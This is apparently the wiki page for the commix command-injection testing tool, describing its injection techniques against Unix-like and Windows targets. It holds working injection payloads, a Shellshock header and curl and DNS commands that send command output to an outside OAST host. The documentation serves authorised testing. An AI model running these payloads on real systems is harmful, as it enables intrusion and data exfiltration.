Skip to content

Techniques

stasinopoulos edited this page Sep 7, 2026 · 11 revisions

Commix is capable of detecting and exploiting a wide range of command injection vulnerabilities across various scenarios. These techniques are broadly categorized based on how command execution results are observed by the attacker.

Summary of Injection Techniques

Type Technique Output Access Speed Requirements
Results-Based Classic Direct (in response) Fast Output must be reflected
Results-Based Dynamic Code Evaluation Direct (in response) Fast Output must be reflected
Results-Based Shellshock Module Direct (via env vars) Fast Bash-based CGI or similar setup
Blind Time-Based Indirect (via timing) Slow Delay observable in response time
Blind Out-of-Band Indirect (via own server) Fast Target able to reach out, over HTTP(S) or DNS
Semi-Blind File-Based Indirect (via file) Moderate Writable directory and file access

Where the output file is written - the web server's document root or a temporary directory such as /tmp - is a mechanism of the file-based technique, not a technique of its own. Both are reported as File-based and both are selected with --technique=f.

Every technique works against both Unix-like and Windows targets. What changes is the payload: cmd.exe chains commands on &, &&, | and || only, expands no arithmetic inside an argument, prints quote characters literally, has no sleep and no comment character. Each section below ends with what that means in practice, and the table at the bottom of this page summarises it.


Results-Based Injections

In results-based command injection attacks, the response from the target application directly includes the output generated by the injected command. This immediate reflection of execution results makes these attacks the most straightforward to detect and verify, allowing attackers to receive instant feedback and iterate payloads rapidly. The visible output not only confirms successful injection but often reveals valuable system information, aiding further exploitation.

These techniques are particularly highly effective under the following conditions:

  • The application echoes or displays command output verbatim within the HTTP response, providing a clear channel for feedback.
  • There is little to no output filtering, sanitization, or encoding that could alter or obscure the injected command’s output, ensuring the attacker receives accurate data.
  • The vulnerable injection point is embedded within a system command execution context, where user input is directly passed to shell commands or system calls without adequate validation or escaping.

Under these circumstances, results-based injections enable attackers to execute arbitrary commands with confidence and precision, making them a primary target during penetration testing and automated exploitation efforts.

Commix supports the following results-based injection techniques:

1. Classic Results-Based Command Injection

The classic technique is the most common and direct method of exploiting command injection. It involves injecting malicious payloads using common shell metacharacters such as:

  • ; (command separator)
  • && (execute next only if previous succeeds)
  • || (execute next only if previous fails)
  • | (pipe output from one command into another)

These operators allow the attacker to either chain commands after legitimate ones or bypass the original command altogether. When the output is reflected in the web response, the attacker can confirm successful execution immediately.

Example Payloads
?id=1;id
?id=1&&whoami
?id=1|uname -a
On Unix-like and on Windows targets

The technique is the same on both, but the payload commix builds is not, because the output has to be recognised in the response. On a Unix-like target the marker and the command are echoed around each other in one command line:

test;echo TAG$((51+48))$(echo TAG)TAG

cmd.exe expands no arithmetic inside an argument and its echo prints quote characters literally, so on Windows the value is read out of a for /f loop and printed by set /p, which writes its prompt without a trailing newline - the marker therefore arrives in one piece:

test&for /f "tokens=*" %i in ('cmd /c "set /a (51+48)"') do @set /p=TAG%iTAGTAG<nul&rem 

Command execution follows the same shape, with the command in place of the sum:

test&for /f "tokens=*" %i in ('cmd /c "whoami"') do @set /p=TAGTAG%iTAGTAG<nul&rem 

Only &, &&, | and || chain a command in cmd.exe. ;, a newline and Ctrl-Z do not, so those separators are not tried against a Windows target at all - what they would produce is another argument of the target's own command, not a command of ours.

2. Dynamic Code Evaluation

The Dynamic Code Evaluation technique targets applications that unsafely execute user-supplied input by leveraging built-in language functions designed to evaluate or execute code strings at runtime. Common functions vulnerable to this abuse include eval(), assert(), exec(), and others that parse and run code dynamically within the application’s interpreter environment.

When user input is passed directly and unsafely to these functions without proper validation or sanitization, it allows attackers to inject and execute arbitrary code, leading to full control over the application’s runtime behavior. Unlike traditional command injection, which relies on shell metacharacters and external shell command execution, this technique operates within the language interpreter itself, often bypassing standard command parsing and escaping mechanisms.

Because the injected payload runs inline in the application’s process, typical shell-based delimiters (;, &&, |) are usually unnecessary, enabling more concise and stealthy injections. Additionally, this method can sometimes circumvent common filtering or sanitization techniques aimed at blocking shell metacharacters, making it especially dangerous.

This vulnerability is prevalent in dynamic languages such as PHP, Python, Ruby, and Perl, especially when developers inadvertently pass raw user input to code evaluation functions. The impact ranges from simple command execution to complete remote code execution (RCE), depending on the context and privileges of the vulnerable application.

<?php
  $input = $_GET['cmd'];
  eval($input);  // Unsafe: Directly evaluates user input
?>

Example Payloads

?cmd=system('id')
?cmd=echo shell_exec('uname -a')
?cmd=file_put_contents('/tmp/owned.txt','pwned')

If the output generated by these dynamic evaluation functions is directly echoed or included in the application’s HTTP response, the attacker can immediately observe the results of their injected code execution. This direct feedback loop classifies the attack as a results-based technique, allowing the attacker to quickly verify successful exploitation and iteratively refine payloads for deeper system compromise.

This technique uniquely combines elements of both command injection and code injection. Instead of merely injecting shell commands, the attacker injects code that is executed within the application’s own runtime environment, granting access not only to system-level commands but also to the internal logic and state of the application. This deeper integration significantly increases the attacker’s potential control, enabling them to manipulate application behavior, access sensitive data, or escalate privileges.

On Unix-like and on Windows targets

The sink is the same - the application's own interpreter - but the commands inside it are the target shell's. On a Unix-like target the parts are chained inside one backtick expression, or concatenated as separate ones:

print(`echo TAG`.`echo $((51+48))`.`echo TAG`.`echo TAG`)

On Windows they are chained with &, since a newline chains nothing in cmd.exe, and the value is read out of a for /f loop so that it lands on a line of its own - set /a prints its answer without one, and the marker either side of it has to stay separable:

print(`echo TAG&for /f "tokens=*" %i in ('cmd /c "set /a (51+48)"') do @echo %i&echo TAG&echo TAG`)

Because a Windows target ends its lines with CRLF, commix reads the markers back with the line break counting as the single space it separates them by.

This technique blends command injection with aspects of code injection, and when exploited successfully, can offer the attacker significant control over the target system.

When successfully exploited, dynamic code evaluation vulnerabilities can provide attackers with a powerful foothold on the target system, often leading to remote code execution (RCE) and full compromise, depending on the environment’s configuration and security controls.

3. Shellshock (Bash Injection) Module

Unlike the techniques above, Shellshock is a module: it is reached through its own --shellshock switch rather than --technique, and it injects through HTTP headers instead of a parameter. It is described here because what it does with a confirmed injection point is results-based.

The well-known Shellshock vulnerability (CVE-2014-6271) affects the Bash shell used by many Unix-like systems.

Shellshock allows remote attackers to execute arbitrary commands by injecting malicious function definitions into environment variables. commix tests the three headers that most commonly reach a CGI environment:

  • Cookie
  • User-Agent
  • Referer

Each is tried with two payload shapes, CVE-2014-6271 and CVE-2014-6278, since a target patched against one is not always patched against the other. -p restricts testing to a single header.

When vulnerable CGI scripts or other Bash-executing services process these headers, the injected commands get executed.

Example Header Injection
User-Agent: () { :; }; /bin/bash -c 'id'

This module can lead to unauthenticated remote command execution (RCE) and is especially dangerous in web server environments where Bash is exposed via CGI.

The module also works over the out-of-band channel: with --oob, execution is proven and commands are run through an OAST interaction rather than the CGI response, which reaches targets whose output is discarded or never rendered.


Blind Injections

In blind command injection scenarios, the target server executes the injected commands, but does not include the output of those commands in the HTTP response. As a result, attackers receive no direct feedback or visible confirmation of successful execution. Instead, they must rely on indirect inference techniques, such as analyzing differences in response times, application behavior, or side effects caused by the injected commands. This lack of explicit output makes blind injections more challenging to exploit, often requiring creative and time-consuming methods to confirm and extract information from the target system.

Commix supports the following blind injection techniques:

1. Time-Based Technique (Blind)

This method involves injecting delay-inducing commands (e.g., sleep, timeout) and measuring the server's response time.

If the server response is significantly delayed, it indicates successful command execution. This technique is useful for:

  • Evaluating true/false conditions
  • Extracting information bit-by-bit using conditional logic
  • Bypassing output filtering or logging
Example Payload

Rather than a bare ; sleep 5, commix delays conditionally: it captures a value and multiplies the delay by a comparison, so the response is delayed only when the comparison holds. That is what turns a delay into a single bit of information.

test;RYU=$(echo SSJHFA);RYU1=${#RYU};sleep $((5*(6==$RYU1)))

The comparison is evaluated inside shell arithmetic, so the payload needs no if/then/fi keywords and no operator beyond its own separator.

On Unix-like and on Windows targets

cmd.exe has neither sleep nor arithmetic it can compare inline, so the same idea is expressed with the tools it does have: a value is read out of a for /f loop, compared by if, and the delay is a ping that never reaches anywhere:

test&for /f "tokens=*" %i in ('cmd /c "echo TAG"') do cmd /c if %i == TAG ping -n 6 127.0.0.1 >nul&rem 

ping -n N 127.0.0.1 waits about N-1 seconds and is on every Windows, including the versions without timeout; it also starts at once, where a PowerShell launch costs a second or two of its own and varies from call to call - noise a timing measurement cannot afford.

The comparison runs through a cmd /c of its own. IF's comparison operators are a command extension, and the shell that cmd.exe spawns for the right-hand side of a pipe starts without extensions enabled - so on a payload chained with | or || the test would never run, no delay would be asked for, and the separator would read as not injectable.

Two further details follow from cmd.exe's IF:

  • Lengths are compared with GEQ, not ==, so the length can be binary searched rather than walked. An equality test only ever answers the one candidate it is given.
  • Characters are compared as numbers. IF compares strings by locale collation, where M GEQ a holds, so the ordinal is worked out on the target - [int][char](...) in PowerShell - and the comparison is numeric.

Although slower due to its indirect nature, this technique is effective in highly restrictive environments where output channels are blocked or sanitized.

2. Out-of-Band Technique (Blind)

This method proves execution through a channel other than the HTTP response. The payload makes the target contact a server commix is listening on, and the interaction that arrives is the proof.

Nothing has to be reflected in the response and no delay has to be measured, so it reaches injection points that leave no trace at all - and unlike timing, it cannot be fooled by network jitter or a slow backend. Either the interaction arrived or it did not.

Example Payload
test;curl -s https://7rnw6agt9u4zv3gncctpuei8nm3s5l7ub.oast.fun/QOMDZR$((5422%2B4480))QOMDZR

Two things are being checked at once here.

The hostname carries a random token unique to this probe, so a whole boundary sweep can be sent first and resolved by a single poll afterwards, rather than waiting on each payload in turn.

The path carries a sum for the target to work out. An interaction on its own only proves that something reached the server - a filtering appliance that fetches URLs it finds in a parameter would produce the same signal, and re-verifying with a fresh token would not tell the two apart. A shell that really ran the command sends back QOMDZR9902QOMDZR; anything replaying the URL verbatim sends the expression instead. The marker around the result keeps it from being confused with a number occurring elsewhere in the request.

The sum is written the way the target's shell can work it out. A Unix-like one expands it inside the argument, as above; cmd.exe expands no arithmetic there, so the sum is worked out first and the URL is built around the result:

test&for /f "tokens=*" %i in ('cmd /c "set /a 9851+5220"') do curl -s https://7rnw6agt9u4zv3gncctpuei8nm3s5l7ub.oast.fun/QOMDZR%iQOMDZR&rem 

PowerShell keeps the URL in single quotes, which cmd.exe passes through untouched, and concatenates the sum outside them - nothing is expanded inside a single-quoted PowerShell string.

Reaching the server

Not every target has the same client, so commix tries them in turn. Both kinds of channel are tried on the boundary that works, and the one that carries output back whole is preferred:

Client Unix-like Windows Detects Sends output back
curl yes yes, in System32 since Windows 10 1803 yes yes, byte for byte from stdin
wget yes no yes yes, though trailing newlines are lost and the size is bound by ARG_MAX
python yes with --interpreter=python yes yes
name lookup yes yes yes yes, hex-encoded across DNS labels
powershell no yes yes yes

certutil is deliberately absent: it blocks for over a minute per request, and a sweep of those would tie up the target's worker pool.

The name lookup is what a target with no HTTP client at all still answers with, and it is often the only thing an egress filter lets past. On Unix-like systems nslookup is part of an optional package, so the payload falls through getent hosts, host and finally ping -c1, whichever of them exists; on Windows nslookup is always there.

A DNS query carries no path, so the sum a payload asks the target to work out cannot travel with it. A point confirmed that way therefore rests on the interaction alone - and commix names the channel a finding came back over, e.g. out-of-band (over DNS) blind technique.

Where the shell chains nothing - ; on Windows, which cmd.exe reads as an argument separator - an HTTP client of ours never runs, so only the name lookup is sent there. It can still betray the point through the target's own command taking the payload as another argument, and commix keeps such a finding while going on to look for a boundary that can actually be run through.

--oob-transport pins the client, and --oob-scheme the scheme its URL uses; see the Usage page.

Recovering output

Where the target has an HTTP client, command output returns over the same channel, in one request, byte for byte:

test;(id)|curl -s --data-binary @- https://7rnw6agt9u4zv3gncctpuei8nm3s5l7ub.oast.fun/

Where only name resolution leaves the host, the output travels in the query names themselves. It is hex-encoded (a DNS label holds letters, digits and hyphens only), cut into 60-character chunks, and each chunk is asked for as <index>-<total>.<chunk>.<payload host>, so the pieces can be put back in order and the last one is recognised as the last. A resolver is free to change the case of what it forwards, which hex survives.

Like every other payload, this one uses only the separator under test. Where that separator ends a statement, the chunks go out from a loop, which knows how many there are and says so in every label:

test;VAR=$( (id)|od -An -v -tx1|tr -d ' \n');t=$(( (${#VAR} + 59) / 60 ));i=1;n=1;r(){ nslookup $1||getent hosts $1||host $1||ping -c1 $1;};while [ $i -le ${#VAR} ];do r $n-$t.$(echo $VAR|cut -c$i-$((i+59))).7rnw6agt9u4zv3gncctpuei8nm3s5l7ub.oast.fun;i=$((i+60));n=$((n+1));done #

Where it does not - &, &&, |, || - there is no second statement to write, so the whole thing is one pipeline instead: fold cuts the chunks, cat -n numbers them, and the tab it numbers with becomes the label separator:

test&(id)|od -An -v -tx1|tr -d ' \n'|fold -w60|cat -n|tr -d ' '|tr '\t' '.'|xargs -I{} env H=7rnw6agt9u4zv3gncctpuei8nm3s5l7ub.oast.fun sh -c 'nslookup $0.$H||getent hosts $0.$H||host $0.$H||ping -c1 $0.$H' {} #

The name travels through the environment and the chunk as an argument because a BSD xargs refuses to build a replaced argument longer than 255 bytes, which the lookup chain alone exceeds. This form carries no total, so the reading end waits out its window and reassembles what arrived.

On a Windows one, where PowerShell does the encoding and the loop:

test&powershell.exe -InputFormat none -Command $h=[BitConverter]::ToString([Text.Encoding]::UTF8.GetBytes(([string](cmd /c whoami)).Trim())).Replace('-','');$t=[int][Math]::Ceiling($h.Length/60);$i=0;while($i -lt $h.Length){$c=$h.Substring($i,[Math]::Min(60,$h.Length-$i));nslookup ([string]([int]($i/60)+1)+'-'+[string]$t+'.'+$c+'.7rnw6agt9u4zv3gncctpuei8nm3s5l7ub.oast.fun');$i+=60}&rem 

Either way this is the practical difference from the time-based technique, which spends several requests per character and cannot preserve the original formatting - a short command's output comes back in one or two requests, and --os-shell is usable over DNS alone.

The same channel confirms command injection, dynamic code evaluation sinks, and the Shellshock module, including blind variants where the classic detection has nothing to match on. It also backs the heuristic test: the results-based one reads its answer out of the response and is therefore blind to exactly the points this technique exists for.

The technique is opt-in, since by default it involves a public third-party server. See --oob and --oob-server in the Usage page.


Semi-Blind Injections

Semi-blind command injections represent a middle ground between classic results-based and blind injection techniques. In these scenarios, the command output is not directly returned in the HTTP response, but attackers find alternative ways to retrieve or infer the results.

Commix supports the following semi-blind injection techniques:

1. File-Based Technique (Basic Semi-Blind)

This approach involves redirecting the output of injected commands to a file on the server’s filesystem. The attacker then attempts to access this file through the web server or other available means. This technique is effective when the application suppresses direct output but allows writing files to a location served by the web server.

; whoami > /var/www/html/output.txt

If the file is served by the web server, the attacker can retrieve it with:

http://target/output.txt

This technique bridges the gap between blind and classic injections and is useful when:

  • Output is suppressed in the HTTP response
  • Filesystem write access is available
  • Static file retrieval is possible
On Unix-like and on Windows targets

Only the writing differs. A Unix-like target redirects, and the marker or the command output goes straight into the file under the web root:

test;echo TAG >/var/www/html/OUT.txt
test;whoami >/var/www/html/OUT.txt

A Windows target writes with PowerShell's Set-Content, and redirects for command output:

test&powershell.exe Set-Content C:\inetpub\wwwroot\OUT.txt 'TAG'&rem 
test&whoami >C:\inetpub\wwwroot\OUT.txt&rem 

The trailing &rem is there because these payloads end on a filename or a quoted literal, and an application that appends anything of its own after the parameter - a closing quote, another argument

  • would otherwise append it inside that filename. cmd.exe has no comment character, but rem ignores whatever follows it. On a Unix-like target the same job is done by #.
2. File-Based via a temporary directory

When the web root (e.g., /var/www/) is not writable, the attacker can use temporary directories like:

  • /tmp
  • /var/tmp

These directories are usually writable by the web server user (e.g., www-data), allowing attackers to store output there.

However, since these files may not be directly accessible via the web interface, the attacker can combine this method with a time-based readout to infer the contents.

Example Scenario
  1. Write output to a random temp file:
; whoami > /tmp/X7s9o.txt
  1. Check the output length via a time-based condition. Commix combines both steps into a single payload:
test;FIR=$(echo KEATOU >/tmp/KTMUXL.txt);FIR=$(cat /tmp/KTMUXL.txt);FIR1=${#FIR};sleep $((5*(6==${FIR1})))

By adjusting the comparison and measuring delays, the contents are recovered character-by-character, even when the file cannot be accessed directly.

On Windows targets

The file cannot be read a character at a time by a shell built-in, so the output is stored as one decimal per character and read back by number. One payload runs the command, writes the decimals, and asks whether the count has reached the length being searched for:

test&for /f "tokens=*" %i in ('cmd /c "powershell.exe -InputFormat none write-host ([int[]][char[]](([string](cmd /c whoami)).trim()))"') do powershell.exe Set-Content %temp%\OUT.txt '%i'&for /f "tokens=*" %i in ('cmd /c "powershell.exe -InputFormat none write-host ([string](Get-Content %temp%\OUT.txt)).trim().split([char]32).length"') do cmd /c if %i GEQ 12 ping -n 6 127.0.0.1 >nul&rem 

Each character is then read off the same line by position, and compared numerically:

test&for /f "tokens=*" %i in ('cmd /c "powershell.exe -InputFormat none write-host ([string](Get-Content %temp%\OUT.txt)).trim().split([char]32)[2]"') do cmd /c if %i GEQ 65 ping -n 6 127.0.0.1 >nul&rem 

Multi-line output is joined into one line first, so a single number describes its length however many lines it came in, and the length and the characters counted off it always agree. The split is written as [char]32 rather than " ", so no quote of its own has to survive cmd.exe's quote handling.


Recovering output from time-related techniques

Both the time-based and the temporary-directory file-based techniques recover output one character at a time through response delays. Because every character costs several requests, commix does not walk the candidate values one by one:

  • The output length is found by binary search, between the minimum and maximum lengths, instead of being counted upwards.
  • Each character is found by binary search over the candidate set, rather than by testing every value in it.
  • The candidate set narrows as it goes. Once enough characters have been resolved, the observed set is reused for the remaining positions, with the full range kept as a fallback.
  • The most frequent characters seen so far are probed directly first. A skewed output resolves many positions in a couple of requests, before any bisection is needed.
  • Resolved values are re-verified. The length and each boundary decision are confirmed independently, so a single slow or noisy response cannot steer the result.

With --threads, several positions are resolved at the same time; each individual position is still resolved serially. A position that never produces a delay is reported as missing rather than guessed, and the number of such positions is stated alongside the retrieved output.


Windows and Unix-like targets at a glance

Unix-like target Windows target
Separators tried ; & && | || newline & && | || and the empty one - cmd.exe chains on nothing else
Marker printing echo TAG for /f … do @set /p=TAG%i…<nul, which writes no trailing newline
Arithmetic in the payload $((a+b)) inline set /a, read out of a for /f loop
Delay sleep N, multiplied by the comparison cmd /c if %i == … then ping -n N 127.0.0.1 >nul
Length comparison [ n -le $len ] if %i GEQ n
Character comparison printf '%d' on the character [int][char] in PowerShell, compared numerically
Writing a file > redirection powershell.exe Set-Content, or > for command output
Stored output for a temporary file the text itself, read with cut/awk one decimal per character, read by position
Trailing junk from the application # ends the payload &rem ends the payload
Out-of-band clients curl, wget, python, name lookup curl.exe, name lookup, powershell
Out-of-band output request body, or DNS labels the same, with PowerShell doing the encoding
Alternative interpreter --interpreter=python uses python3 uses python.exe, path configurable

Contents

User's manual

Exploitation

Miscellaneous

  • Presentations - Conference talks, demos, and public presentations where commix has been featured or discussed.
  • Screenshots - Visual examples of commix in action
  • Third party references - References to commix in books, articles, research papers, blog posts, etc
  • Command injection testbeds - A curated list of intentionally vulnerable web applications and platforms for safely testing commix

Clone this wiki locally